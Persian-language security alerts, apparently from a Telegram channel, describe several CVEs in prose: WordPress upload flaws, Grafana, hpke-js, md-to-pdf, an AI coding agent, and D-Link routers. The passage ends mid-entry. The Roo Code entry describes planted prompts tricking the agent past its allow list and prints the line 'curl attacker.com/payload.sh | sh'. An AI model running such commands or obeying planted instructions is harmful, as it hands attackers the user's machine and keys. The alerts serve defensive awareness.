🚨 New Vulnerability Alert: CVE-2025-13156

🟠 Risk Level: HIGH (Score: 8.8)

تحلیل و بررسی آسیب‌پذیری | CVE-2025-13156

گزارش حرفه‌ای تحلیل آسیب‌پذیری در افزونه وردپرس Vitepos – Point of Sale (POS) for WooCommerce


Vulnerability Description:
آسیب‌پذیری با شناسه CVE-2025-13156 از نوع آپلود فایل دلخواه (Arbitrary File Upload) در افزونه Vitepos – Point of Sale (POS) for WooCommerce برای وردپرس شناسایی شده است. این ضعف امنیتی در تمام نسخه‌ها تا نسخه 3.3.0 (شامل خود این نسخه) وجود دارد.

ریشه مشکل در عدم اعتبارسنجی نوع فایل در تابع insert_media_attachment() است. به طور مشخص، تابع save_update_category_img() هنگام پردازش تصاویر دسته‌بندی، نوع فایل ارسالی توسط کاربر را بدون هیچ‌گونه بررسی و اعتبارسنجی می‌پذیرد. این نقص به مهاجمان احرازهویت‌شده، حتی با کمترین سطح دسترسی مانند مشترک (Subscriber)، اجازه می‌دهد تا فایل‌های دلخواه خود را بر روی سرور سایت آسیب‌دیده آپلود کنند.


Impact:
تأثیر اصلی این آسیب‌پذیری بسیار بالا و حیاتی است و به اجرای کد از راه دور (Remote Code Execution - RCE) منجر می‌شود.

مهاجم با بهره‌برداری از این ضعف امنیتی، می‌تواند یک فایل مخرب (مانند یک وب‌شل با پسوند .php) را بر روی سرور آپلود کرده و سپس آن را اجرا کند. این امر به مهاجم امکان کنترل کامل بر روی وب‌سایت و سرور را می‌دهد. پیامدهای احتمالی شامل موارد زیر است:

- سرقت اطلاعات حساس کاربران، سفارشات و داده‌های مالی
- تخریب کامل وب‌سایت و از دسترس خارج کردن آن
- استفاده از سرور برای حملات دیگر مانند حملات DDoS یا استخراج ارز دیجیتال
- نفوذ به شبکه‌های داخلی متصل به سرور


Scenario:
یک سناریوی محتمل برای بهره‌برداری از این آسیب‌پذیری به شرح زیر است:

۱. مهاجم یک حساب کاربری با سطح دسترسی پایین، مانند «مشترک»، در وب‌سایت وردپرسی که از نسخه آسیب‌پذیر افزونه Vitepos استفاده می‌کند، ثبت‌نام می‌کند.

۲. سپس، مهاجم از قابلیتی در افزونه که به آپلود تصویر برای دسته‌بندی‌ها مربوط می‌شود، استفاده می‌کند.

۳. به جای یک فایل تصویر استاندارد (مانند .jpg یا .png)، مهاجم یک فایل مخرب به نام backdoor.php که حاوی کدهای یک وب‌شل است، آپلود می‌کند.

۴. به دلیل نبود اعتبارسنجی نوع فایل، سیستم فایل .php را بدون مشکل می‌پذیرد و آن را در یکی از پوشه‌های قابل دسترس وب‌سایت (مانند پوشه uploads) ذخیره می‌کند.

۵. در نهایت، مهاجم با وارد کردن آدرس مستقیم فایل آپلود شده (برای مثال: https://example.com/wp-content/uploads/2024/05/backdoor.php) در مرورگر خود، کدهای مخرب را بر روی سرور اجرا می‌کند. این کار به او یک رابط کاربری برای اجرای دستورات دلخواه بر روی سرور داده و کنترل کامل آن را در اختیارش قرار می‌دهد.
---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-41115

🔴 Risk Level: CRITICAL (Score: 10.0)

تحلیل آسیب‌پذیری CVE-2025-41115 در Grafana

این گزارش یک تحلیل فنی از آسیب‌پذیری مهم در نسخه‌های سازمانی (Enterprise) و ابری (Cloud) پلتفرم Grafana ارائه می‌دهد.

---

🛡️ شرح آسیب‌پذیری:

یک آسیب‌پذیری در مکانیزم مدیریت هویت کاربران در نسخه‌های 12.x پلتفرم Grafana شناسایی شده است. این ضعف امنیتی به قابلیت SCIM (System for Cross-domain Identity Management) مرتبط است که برای خودکارسازی مدیریت چرخه حیات کاربران در سازمان‌ها استفاده می‌شود.

اگر یک کلاینت SCIM مخرب یا در معرض خطر، کاربری را با یک شناسه خارجی عددی (externalId) ایجاد کند، Grafana به اشتباه این شناسه خارجی را با شناسه‌های کاربری داخلی (که آن‌ها نیز عددی هستند) انطباق می‌دهد. این تداخل به مهاجم اجازه می‌دهد تا یک حساب کاربری داخلی موجود را بازنویسی (Override) کند.

توجه: این آسیب‌پذیری تنها در صورتی قابل بهره‌برداری است که هر دو شرط زیر در پیکربندی Grafana برقرار باشند:
۱. قابلیت enableSCIM فعال باشد (true).
۲. گزینه user_sync_enabled در بخش [auth.scim] فعال باشد (true).

💣 تأثیرات:

موفقیت در بهره‌برداری از این آسیب‌پذیری می‌تواند منجر به عواقب جدی امنیتی شود:

- جعل هویت (Impersonation): مهاجم می‌تواند هویت هر کاربری در سیستم، از جمله مدیران کل (Administrators)، را جعل کرده و به تمام داشبوردها، داده‌ها و تنظیمات آن کاربر دسترسی پیدا کند.

- افزایش سطح دسترسی (Privilege Escalation): با هدف قرار دادن یک حساب کاربری با دسترسی بالا، مهاجم می‌تواند سطح دسترسی خود را در سیستم به بالاترین حد ممکن ارتقا دهد.

- دسترسی غیرمجاز و دستکاری داده‌ها: مهاجم به منابع حساس دسترسی پیدا کرده و قادر به مشاهده، تغییر یا حذف داده‌های حیاتی سازمان خواهد بود.

🎭 سناریوی حمله:

یک سناریوی حمله محتمل می‌تواند به شکل زیر باشد:

۱. مهاجم کنترل یک کلاینت SCIM متصل به Grafana را به دست می‌آورد یا به عنوان یک کلاینت مخرب عمل می‌کند.

۲. مهاجم شناسه داخلی (User ID) یک کاربر با دسترسی بالا، برای مثال مدیر سیستم با شناسه 1، را شناسایی می‌کند.

۳. مهاجم یک درخواست از طریق پروتکل SCIM برای ایجاد یک کاربر جدید به Grafana ارسال می‌کند.

۴. در این درخواست، مقدار فیلد externalId برای کاربر جدید را برابر با شناسه عددی کاربر هدف قرار می‌دهد (مثلاً: "externalId": "1").

۵. به دلیل وجود آسیب‌پذیری، Grafana این شناسه خارجی عددی را با شناسه داخلی موجود یکسان تلقی کرده و حساب کاربری مهاجم را به حساب مدیر سیستم با شناسه 1 متصل می‌کند.

۶. در نتیجه، مهاجم به طور کامل کنترل حساب مدیر را در دست گرفته و به تمام اختیارات و دسترسی‌های او دست می‌یابد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-64767

🔴 Risk Level: CRITICAL (Score: 9.1)

گزارش تحلیل آسیب‌پذیری: CVE-2025-64767
ماژول: hpke-js

---

🐛 شرح آسیب‌پذیری:
ماژول hpke-js یک کتابخانه جاوااسکریپت برای پیاده‌سازی رمزنگاری کلید عمومی ترکیبی (HPKE) بر بستر Web Cryptography API است. در نسخه‌های پیش از 1.7.5، یک آسیب‌پذیری از نوع "وضعیت رقابتی" (Race Condition) در تابع عمومی SenderContext Seal() وجود دارد.

این ضعف امنیتی به مهاجم اجازه می‌دهد تا در شرایط خاص، سیستم را وادار به استفاده مجدد از یک nonce (عدد یکبار مصرف) یکسان برای رمزنگاری چندین پیام متفاوت کند. استفاده مجدد از nonce یکی از اشتباهات حیاتی در پیاده‌سازی الگوریتم‌های رمزنگاری متقارن مانند AEAD است.

⚠️ تاثیر:
بهره‌برداری موفق از این آسیب‌پذیری می‌تواند منجر به از بین رفتن کامل محرمانگی (Confidentiality) و یکپارچگی (Integrity) پیام‌های رمزنگاری شده شود.

در عمل، این بدان معناست که یک مهاجم قادر خواهد بود:
- پیام‌های رمزنگاری شده را رمزگشایی کرده و به محتوای آن‌ها دسترسی پیدا کند.
- محتوای پیام‌ها را بدون شناسایی شدن، تغییر دهد.

📋 سناریو:
یک مهاجم که قادر به مشاهده ترافیک رمزنگاری شده بین کاربر و سرور است، شرایطی را ایجاد می‌کند که در آن برنامه کلاینت مجبور شود دو یا چند پیام را به صورت تقریباً همزمان با استفاده از تابع Seal() ارسال کند. به دلیل وجود "وضعیت رقابتی"، ماژول hpke-js برای هر دو پیام از یک nonce یکسان استفاده می‌کند.

این استفاده مجدد، یک ضعف کشنده در رمزنگاری ایجاد کرده و به مهاجم اجازه می‌دهد تا با تحلیل ریاضیاتی دو پیام رمزنگاری شده، کلید رمز را شکسته و محتوای هر دو پیام را به طور کامل بخواند.

🛡️ توصیه امنیتی:
به تمام توسعه‌دهندگانی که از کتابخانه hpke-js استفاده می‌کنند، اکیداً توصیه می‌شود که نسخه مورد استفاده خود را فوراً به نسخه 1.7.5 یا بالاتر ارتقا دهند تا این آسیب‌پذیری حیاتی برطرف گردد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-11087

🟠 Risk Level: HIGH (Score: 8.8)

گزارش تحلیل آسیب‌پذیری | CVE-2025-11087

---

شرح آسیب‌پذیری:
آسیب‌پذیری با شناسه CVE-2025-11087 در افزونه Zegen Core برای وردپرس شناسایی شده است. این ضعف امنیتی در نسخه‌های 2.0.1 و پایین‌تر وجود دارد.

این آسیب‌پذیری از نوع جعل درخواست میان‌وب‌گاهی (CSRF) است که منجر به آپلود فایل دلخواه (Arbitrary File Upload) می‌شود.

علت اصلی این مشکل، عدم وجود اعتبارسنجی توکن امنیتی (Nonce) برای جلوگیری از حملات CSRF و همچنین عدم بررسی نوع فایل آپلود شده در مسیر /custom-font-code/custom-fonts-uploads.php می‌باشد. این ترکیب به مهاجم اجازه می‌دهد تا بدون احراز هویت مستقیم، عملیات آپلود فایل را از طرف یک مدیر معتبر انجام دهد.

---

تاثیرات:
یک مهاجم می‌تواند با فریب مدیر سایت، فایل‌های دلخواه خود (مانند وب‌شل یا بدافزار) را بر روی سرور آپلود کند.

موفقیت در بهره‌برداری از این آسیب‌پذیری می‌تواند منجر به اجرای کد از راه دور (Remote Code Execution - RCE) شود. این به معنای در اختیار گرفتن کنترل کامل وب‌سایت، سرقت اطلاعات حساس کاربران، تغییر چهره سایت (Defacement) و یا استفاده از سرور برای حملات گسترده‌تر است.

---

سناریوی حمله:
۱. آماده‌سازی: مهاجم یک صفحه وب مخرب یا یک لینک جعلی طراحی می‌کند. این صفحه حاوی یک فرم پنهان است که به فایل آسیب‌پذیر در سایت قربانی اشاره کرده و یک فایل مخرب (مثلاً یک وب‌شل با پسوند .php) را برای آپلود مشخص می‌کند.

۲. مهندسی اجتماعی: مهاجم از طریق ایمیل فیشینگ، پیام خصوصی یا روش‌های دیگر، مدیر سایت را که در پیشخوان وردپرس خود لاگین کرده است، ترغیب به کلیک بر روی لینک مخرب می‌کند.

۳. ارسال درخواست جعلی: به محض کلیک مدیر بر روی لینک، مرورگر او به صورت خودکار و بدون اطلاع وی، درخواست جعلی را به سایت ارسال می‌کند. از آنجایی که مدیر در سایت لاگین است، این درخواست با سطح دسترسی او ارسال می‌شود.

۴. بهره‌برداری: افزونه به دلیل نداشتن مکانیزم دفاعی در برابر CSRF، درخواست را معتبر تلقی می‌کند. سپس به دلیل عدم بررسی نوع فایل، فایل مخرب مهاجم با موفقیت بر روی سرور آپلود می‌شود.

۵. کنترل کامل: مهاجم با دسترسی مستقیم به فایل آپلود شده از طریق URL آن، می‌تواند دستورات دلخواه خود را روی سرور اجرا کرده و کنترل کامل وب‌سایت را به دست بگیرد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-65108

🔴 Risk Level: CRITICAL (Score: 10.0)

تحلیل آسیب‌پذیری | CVE-2025-65108

🗒️ توضیحات آسیب‌پذیری:
آسیب‌پذیری با شناسه CVE-2025-65108 در ابزار خط فرمان md-to-pdf شناسایی شده است. این ابزار برای تبدیل فایل‌های مارک‌داون (Markdown) به PDF با استفاده از Node.js و مرورگر Chrome در حالت headless به کار می‌رود.

در نسخه‌های قبل از 5.2.5، یک نقص امنیتی در نحوه پردازش بخش front-matter فایل‌های مارک‌داون توسط کتابخانه gray-matter وجود دارد. اگر یک مهاجم بتواند یک فایل مارک‌داون با جداکننده‌های خاص جاوا اسکریپت در این بخش ایجاد کند، موتور جاوا اسکریپت در فرآیند تبدیل، کد مخرب را اجرا خواهد کرد.

💥 تاثیر:
تاثیر اصلی این آسیب‌پذیری، اجرای کد از راه دور (Remote Code Execution - RCE) است. این به آن معناست که مهاجم می‌تواند با فریب قربانی برای پردازش یک فایل مخرب، دستورات دلخواه خود را بر روی سیستم یا سروری که ابزار md-to-pdf روی آن در حال اجراست، پیاده‌سازی کند.

این امر می‌تواند منجر به نشت اطلاعات حساس، نصب بدافزار و باج‌افزار، یا کنترل کامل سیستم آسیب‌دیده شود.

🎯 سناریوی حمله:
۱. مهاجم یک فایل مارک‌داون (با پسوند .md) ایجاد می‌کند که در بخش front-matter آن، یک قطعه کد جاوا اسکریپت مخرب (Payload) جاسازی شده است. این کد می‌تواند یک دستور برای برقراری ارتباط معکوس (reverse shell) به سرور مهاجم باشد.

۲. مهاجم این فایل را از طریق ایمیل، آپلود در یک سرویس، یا هر روش دیگری به دست قربانی می‌رساند. قربانی می‌تواند یک توسعه‌دهنده، یک مدیر محتوا، یا حتی یک سیستم خودکار (مانند CI/CD pipeline) باشد که از این ابزار برای تولید مستندات PDF استفاده می‌کند.

۳. به محض اینکه قربانی یا سیستم خودکار، فایل مارک‌داون مخرب را با استفاده از نسخه آسیب‌پذیر md-to-pdf برای تبدیل به PDF اجرا می‌کند، کد جاسازی‌شده در سیستم قربانی اجرا می‌شود و دسترسی به مهاجم داده می‌شود.

---

🛡️ توصیه‌های امنیتی:
برای مقابله با این تهدید، قویاً توصیه می‌شود که تمامی کاربران ابزار md-to-pdf در اسرع وقت آن را به نسخه 5.2.5 یا بالاتر ارتقا دهند.

برای به‌روزرسانی می‌توانید از دستور زیر در محیط Node.js استفاده کنید:
npm install md-to-pdf@latest

همچنین، به عنوان یک اصل امنیتی، همواره از پردازش فایل‌های دریافت شده از منابع نامعتبر خودداری کرده و ورودی‌های کاربران را پیش از پردازش، به دقت اعتبارسنجی نمایید.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-65946

🟠 Risk Level: HIGH (Score: 8.1)

تحلیل آسیب‌پذیری با شناسه CVE-2025-65946

---

شرح آسیب‌پذیری:

ابزار Roo Code یک ایجنت کدنویسی خودکار مبتنی بر هوش مصنوعی است که در محیط ویرایشگر کد (Editor) کاربر فعالیت می‌کند. در نسخه‌های قبل از 3.26.7، یک نقص امنیتی در فرآیند اعتبارسنجی دستورات شناسایی شده است.

این ضعف به ایجنت Roo Code اجازه می‌دهد تا به صورت خودکار دستوراتی را اجرا کند که در لیست دستورات مجاز (Allow List) تعریف نشده‌اند. در حالت عادی، این ایجنت باید تنها دستوراتی با پیشوندهای مشخص و ایمن را اجرا کند، اما این باگ مکانیزم امنیتی مذکور را دور می‌زند. این مشکل در نسخه 3.26.7 به طور کامل برطرف شده است.

---

تأثیر:

تأثیر این آسیب‌پذیری بسیار بالا ارزیابی می‌شود. یک مهاجم می‌تواند با فریب دادن ایجنت هوش مصنوعی، دستورات دلخواه خود را بر روی سیستم قربانی اجرا کند. این حمله می‌تواند منجر به موارد زیر شود:

- اجرای کد از راه دور (Remote Code Execution - RCE)
- سرقت اطلاعات حساس مانند کلیدهای API، رمزهای عبور و اطلاعات پروژه‌ها
- نصب بدافزار یا باج‌افزار بر روی سیستم توسعه‌دهنده
- به دست گرفتن کنترل کامل سیستم قربانی

از آنجایی که ایجنت با سطح دسترسی کاربر فعلی اجرا می‌شود، هر دستوری که کاربر قادر به اجرای آن باشد، توسط مهاجم نیز قابل اجرا خواهد بود.

---

سناریوی حمله:

یک سناریوی محتمل برای بهره‌برداری از این آسیب‌پذیری می‌تواند به شکل زیر باشد:

۱. مهاجم یک قطعه کد یا یک دستورالعمل (Prompt) مخرب را طراحی کرده و آن را در یک منبع عمومی مانند یک پروژه متن-باز در گیت‌هاب، یک پاسخ در Stack Overflow یا یک فایل کانفیگ به اشتراک می‌گذارد.

۲. یک توسعه‌دهنده که از نسخه آسیب‌پذیر Roo Code استفاده می‌کند، این قطعه کد را در ویرایشگر خود باز کرده و از ایجنت هوش مصنوعی می‌خواهد تا آن را تحلیل، تکمیل یا بهینه‌سازی کند.

۳. به دلیل وجود باگ اعتبارسنجی، Roo Code دستور مخرب پنهان شده در کد (مثلاً curl attacker.com/payload.sh | sh) را به عنوان یک دستور مجاز تشخیص می‌دهد.

۴. در نتیجه، ایجنت به صورت خودکار دستور مخرب را روی سیستم توسعه‌دهنده اجرا می‌کند. این دستور می‌تواند یک اسکریپت جهت سرقت کلیدهای SSH یا نصب یک Backdoor برای دسترسی دائمی مهاجم به سیستم باشد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13547

🟠 Risk Level: HIGH (Score: 8.8)

تحلیل آسیب‌پذیری | CVE-2025-13547
محصولات تحت تأثیر: مودم‌های D-Link

---

📄 شرح آسیب‌پذیری:

یک آسیب‌پذیری حیاتی از نوع تخریب حافظه (Memory Corruption) در مودم‌های D-Link مدل‌های DIR-822K و DWR-M920 با فریمور نسخه‌های 1.00_20250513164613 و 1.1.50 شناسایی شده است.

این ضعف امنیتی در فایل /boafrm/formDdns و از طریق دستکاری پارامتر submit-url قابل بهره‌برداری است. این حمله می‌تواند از راه دور و بدون نیاز به احراز هویت انجام شود.

نکته مهم: کد بهره‌برداری (Exploit) این آسیب‌پذیری به صورت عمومی منتشر شده است که ریسک حمله را به شدت افزایش می‌دهد.

⚠️ میزان تأثیر:

بهره‌برداری موفق از این آسیب‌پذیری می‌تواند به مهاجم اجازه اجرای کد از راه دور (RCE) بر روی دستگاه را بدهد. این به معنای در اختیار گرفتن کنترل کامل مودم توسط مهاجم است.

سایر پیامدهای احتمالی شامل موارد زیر است:
- از کار انداختن دستگاه (Denial of Service)
- نشت اطلاعات حساس پیکربندی
- شنود ترافیک شبکه داخلی

🎯 سناریوی حمله:

یک مهاجم در شبکه خارجی، با ارسال یک درخواست وب دستکاری‌شده و مخرب به بخش تنظیمات DDNS مودم (فایل formDdns)، یک مقدار نامعتبر را به پارامتر submit-url ارسال می‌کند. این عمل باعث سرریز بافر و تخریب حافظه شده و به مهاجم اجازه می‌دهد تا کد دلخواه خود را با سطح دسترسی مدیریتی بر روی دستگاه اجرا کند.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13548

🟠 Risk Level: HIGH (Score: 8.8)

تحلیل و گزارش آسیب‌پذیری | CVE-2025-13548

گزارش خلاصه و حرفه‌ای برای ادمین‌ها و کارشناسان امنیت

---

🐛 شرح آسیب‌پذیری:
یک آسیب‌پذیری از نوع سرریز بافر (Buffer Overflow) با شناسه CVE-2025-13548 در روترهای D-Link کشف شده است. این ضعف امنیتی در فایل /boafrm/formFirewallAdv که بخشی از پنل مدیریت وب دستگاه است، وجود دارد.

مهاجم می‌تواند با ارسال یک مقدار دستکاری‌شده و طولانی در پارامتر submit-url، باعث سرریز شدن بافر حافظه شده و شرایط را برای اجرای کدهای مخرب فراهم کند. این حمله از راه دور (Remote) قابل اجراست و نیازی به دسترسی فیزیکی به دستگاه ندارد.

محصولات تحت تأثیر:
- D-Link DIR-822K
- D-Link DWR-M920

نسخه‌های آسیب‌پذیر:
- 1.00_20250513164613
- 1.1.50


💥 تأثیر:
تأثیر اصلی این آسیب‌پذیری، اجرای کد از راه دور (Remote Code Execution - RCE) است. این بدان معناست که یک مهاجم می‌تواند کنترل کامل روتر را در دست بگیرد.

پیامدهای احتمالی عبارتند از:
- شنود و سرقت ترافیک شبکه (مانند رمزهای عبور و اطلاعات بانکی).
- تغییر تنظیمات DNS برای هدایت کاربران به سایت‌های فیشینگ.
- استفاده از روتر به عنوان بخشی از یک شبکه بات‌نت برای حملات DDoS.
- نصب بدافزار دائمی بر روی دستگاه.


🎯 سناریوی حمله:
مهاجم پس از شناسایی یک روتر آسیب‌پذیر که پنل مدیریت آن از طریق اینترنت در دسترس است، یک درخواست HTTP مخرب به آدرس مدیریت دستگاه ارسال می‌کند. در این درخواست، پارامتر submit-url با یک رشته کد بسیار طولانی و دستکاری‌شده پر می‌شود.

وب سرور دستگاه قادر به مدیریت این حجم از داده در بافر اختصاص داده شده نیست و سرریز رخ می‌دهد. این سرریز به مهاجم اجازه می‌دهد تا کدهای مخرب خود را در حافظه دستگاه بازنویسی کرده و با سطح دسترسی مدیر (root) اجرا کند.

نکته مهم: کد بهره‌برداری (Exploit) این آسیب‌پذیری به صورت عمومی منتشر شده است، که ریسک مورد حمله قرار گرفتن را به شدت افزایش می‌دهد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13549

🟠 Risk Level: HIGH (Score: 8.8)

تحلیل آسیب‌پذیری CVE-2025-13549 در روتر D-Link

---

📄 توضیحات آسیب‌پذیری:

یک آسیب‌پذیری از نوع سرریز بافر (Buffer Overflow) با شناسه CVE-2025-13549 در روتر D-Link مدل DIR-822K نسخه 1.00 شناسایی شده است.

این ضعف امنیتی در تابع sub_455524 واقع در فایل /boafrm/formNtp قرار دارد. مهاجم از راه دور می‌تواند با ارسال مقادیر دستکاری‌شده و بیش از حد طولانی به پارامتر submit-url، این آسیب‌پذیری را مورد بهره‌برداری قرار دهد.

نکته حائز اهمیت این است که کد بهره‌برداری (Exploit) این آسیب‌پذیری به صورت عمومی منتشر شده و در دسترس همگان قرار دارد که ریسک حمله را به شدت افزایش می‌دهد.

🎯 تأثیرات:

بهره‌برداری موفقیت‌آمیز از این آسیب‌پذیری می‌تواند منجر به دو پیامد اصلی و خطرناک شود:

۱. اجرای کد از راه دور (Remote Code Execution - RCE): در بدترین حالت، مهاجم می‌تواند کنترل کامل روتر را در دست بگیرد. این به معنای شنود ترافیک شبکه، دسترسی به دستگاه‌های متصل به شبکه داخلی (مانند کامپیوترها و دوربین‌ها) و استفاده از روتر برای حملات بیشتر است.

۲. منع سرویس (Denial of Service - DoS): مهاجم می‌تواند با ارسال درخواست‌های مخرب، باعث از کار افتادن (Crash) کامل روتر و در نتیجه، قطع دسترسی تمامی کاربران متصل به شبکه به اینترنت شود.

🎭 سناریو حمله:

یک مهاجم از راه دور، با اسکن کردن اینترنت، روترهای آسیب‌پذیر D-Link مدل DIR-822K را شناسایی می‌کند.

سپس، یک درخواست وب دستکاری‌شده به پنل مدیریتی روتر (به‌طور خاص به فایل /boafrm/formNtp) ارسال می‌کند. این درخواست حاوی یک مقدار بسیار طولانی و مخرب در پارامتر submit-url است که بلندتر از فضای بافرِ در نظر گرفته شده در برنامه می‌باشد.

در نتیجه، سرریز بافر رخ داده و مهاجم موفق به بازنویسی حافظه و اجرای کدهای دلخواه خود با سطح دسترسی دستگاه می‌شود. در نهایت، مهاجم کنترل کامل روتر را به دست آورده و می‌تواند از آن به عنوان نقطه‌ای برای حملات بعدی یا جاسوسی از شبکه داخلی استفاده نماید.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13550

🟠 Risk Level: HIGH (Score: 8.8)

🚨 گزارش تحلیل آسیب‌پذیری | CVE-2025-13550 🚨

شرح آسیب‌پذیری:
یک آسیب‌پذیری بحرانی از نوع سرریز بافر (Buffer Overflow) با شناسه CVE-2025-13550 در دستگاه‌های D-Link شناسایی شده است. این ضعف امنیتی در فایل /boafrm/formVpnConfigSetup و در پردازش پارامتر submit-url قرار دارد.

مهاجم از راه دور می‌تواند با ارسال یک مقدار دستکاری‌شده و طولانی برای این پارامتر، موجب سرریز شدن بافر حافظه شود. کد بهره‌برداری (Exploit) برای این آسیب‌پذیری به صورت عمومی منتشر شده و به طور فعال قابل استفاده است.

دستگاه‌های تحت تأثیر:
▪️ D-Link DIR-822K
▪️ D-Link DWR-M920

نسخه‌های فریم‌ور آسیب‌پذیر:
▪️ 1.00_20250513164613
▪️ 1.1.50

تأثیر:
موفقیت‌آمیز بودن این حمله می‌تواند منجر به اجرای کد از راه دور (Remote Code Execution - RCE) بر روی دستگاه آسیب‌دیده شود. این به معنای آن است که مهاجم کنترل کامل روتر را در دست می‌گیرد و قادر خواهد بود:

▪️ ترافیک شبکه را شنود و دستکاری کند.
▪️ به دستگاه‌های موجود در شبکه داخلی حمله کند.
▪️ بدافزار یا درهای پشتی (Backdoors) برای دسترسی پایدار نصب کند.
▪️ تنظیمات دستگاه (مانند DNS) را برای هدایت کاربران به سایت‌های مخرب تغییر دهد.

در نتیجه، امنیت و حریم خصوصی کل شبکه به خطر می‌افتد.

سناریوی حمله:
۱. مهاجم با اسکن اینترنت، روترهای D-Link آسیب‌پذیر را که از راه دور قابل دسترس هستند، شناسایی می‌کند.

۲. سپس، یک درخواست HTTP مخرب به صفحه /boafrm/formVpnConfigSetup دستگاه ارسال می‌کند.

۳. این درخواست حاوی یک مقدار بسیار طولانی و دستکاری‌شده در پارامتر submit-url است که شامل کد مخرب (Shellcode) می‌باشد.

۴. پردازش این مقدار توسط روتر منجر به سرریز بافر شده و کد مخرب مهاجم با سطح دسترسی مدیریتی (root) بر روی سیستم‌عامل دستگاه اجرا می‌شود. در این لحظه، مهاجم کنترل کامل دستگاه را به دست آورده است.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13551

🟠 Risk Level: HIGH (Score: 8.8)

تحلیل آسیب‌پذیری CVE-2025-13551
گزارش خلاصه و حرفه‌ای برای کانال تلگرام

---

آسیب‌پذیری:
یک آسیب‌پذیری از نوع سرریز بافر (Buffer Overflow) با شناسه CVE-2025-13551 در مودم/روترهای D-Link مدل‌های DIR-822K و DWR-M920 با نسخه‌های فریم‌ور 1.00_20250513164613 و 1.1.50 شناسایی شده است.

این ضعف امنیتی در فایل /boafrm/formWanConfigSetup و به دلیل عدم بررسی صحیح ورودی در پارامتر submit-url وجود دارد. یک مهاجم از راه دور می‌تواند با ارسال یک درخواست دستکاری‌شده، این آسیب‌پذیری را مورد بهره‌برداری قرار دهد.

تأثیر:
موفقیت در بهره‌برداری از این آسیب‌پذیری می‌تواند منجر به اجرای کد از راه دور (Remote Code Execution - RCE) با بالاترین سطح دسترسی (root) بر روی دستگاه آسیب‌دیده شود.

این امر به مهاجم اجازه می‌دهد تا کنترل کامل دستگاه را به دست گرفته، ترافیک شبکه را شنود کند، اطلاعات کاربران را به سرقت ببرد، دستگاه را به بخشی از یک بات‌نت (Botnet) تبدیل کرده و از آن به عنوان نقطه‌ای برای حمله به سایر دستگاه‌های موجود در شبکه داخلی استفاده نماید. در سناریوهای ساده‌تر، حمله می‌تواند منجر به از کار افتادن کامل دستگاه و ایجاد اختلال در سرویس (Denial of Service) شود.

سناریو:
یک مهاجم با اسکن اینترنت، دستگاه‌های آسیب‌پذیر را که پنل مدیریت آن‌ها از طریق اینترنت در دسترس است، شناسایی می‌کند. سپس، با ارسال یک درخواست HTTP مخرب به فایل /boafrm/formWanConfigSetup که حاوی یک مقدار بسیار طولانی و دستکاری‌شده برای پارامتر submit-url است، باعث سرریز شدن بافر در حافظه دستگاه می‌شود.

این سرریز به مهاجم اجازه می‌دهد تا کد دلخواه خود را در حافظه دستگاه تزریق و اجرا کند. با توجه به اینکه کد بهره‌برداری (Exploit) از این آسیب‌پذیری به صورت عمومی منتشر شده است، انتظار می‌رود حملات گسترده‌ای با استفاده از آن صورت گیرد.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13553

🟠 Risk Level: HIGH (Score: 8.8)

تحلیل آسیب‌پذیری CVE-2025-13553

---

آسیب‌پذیری:
یک آسیب‌پذیری حیاتی از نوع سرریز بافر (Buffer Overflow) در فریم‌ور نسخه 1.1.50 مودم-روتر D-Link مدل DWR-M920 شناسایی شده است.

این ضعف امنیتی در تابع sub_41C7FC واقع در فایل /boafrm/formPinManageSetup قرار دارد. آسیب‌پذیری از طریق ارسال یک مقدار دستکاری‌شده و بیش از حد طولانی به آرگومان submit-url در این فایل، قابل بهره‌برداری است.

لازم به ذکر است که اکسپلویت این آسیب‌پذیری به صورت عمومی منتشر شده است.

تأثیر:
مهاجم از راه دور (Remote) و بدون نیاز به احراز هویت، می‌تواند با بهره‌برداری از این آسیب‌پذیری، کد دلخواه خود را بر روی دستگاه اجرا کند (Remote Code Execution - RCE).

اجرای موفقیت‌آمیز این حمله می‌تواند منجر به در اختیار گرفتن کامل کنترل دستگاه، سرقت اطلاعات حساس (مانند اطلاعات کاربری و رمزهای عبور)، شنود ترافیک شبکه و یا استفاده از دستگاه به عنوان بخشی از یک شبکه بات‌نت (Botnet) شود. با توجه به عمومی بودن اکسپلویت، ریسک بهره‌برداری از این ضعف بالا ارزیابی می‌شود.

سناریو:
یک مهاجم با اسکن اینترنت، دستگاه‌های آسیب‌پذیر D-Link مدل DWR-M920 که از اینترنت قابل دسترس هستند را شناسایی می‌کند.

سپس، یک درخواست HTTP مخرب به صفحه مدیریت پین دستگاه (/boafrm/formPinManageSetup) ارسال می‌کند.

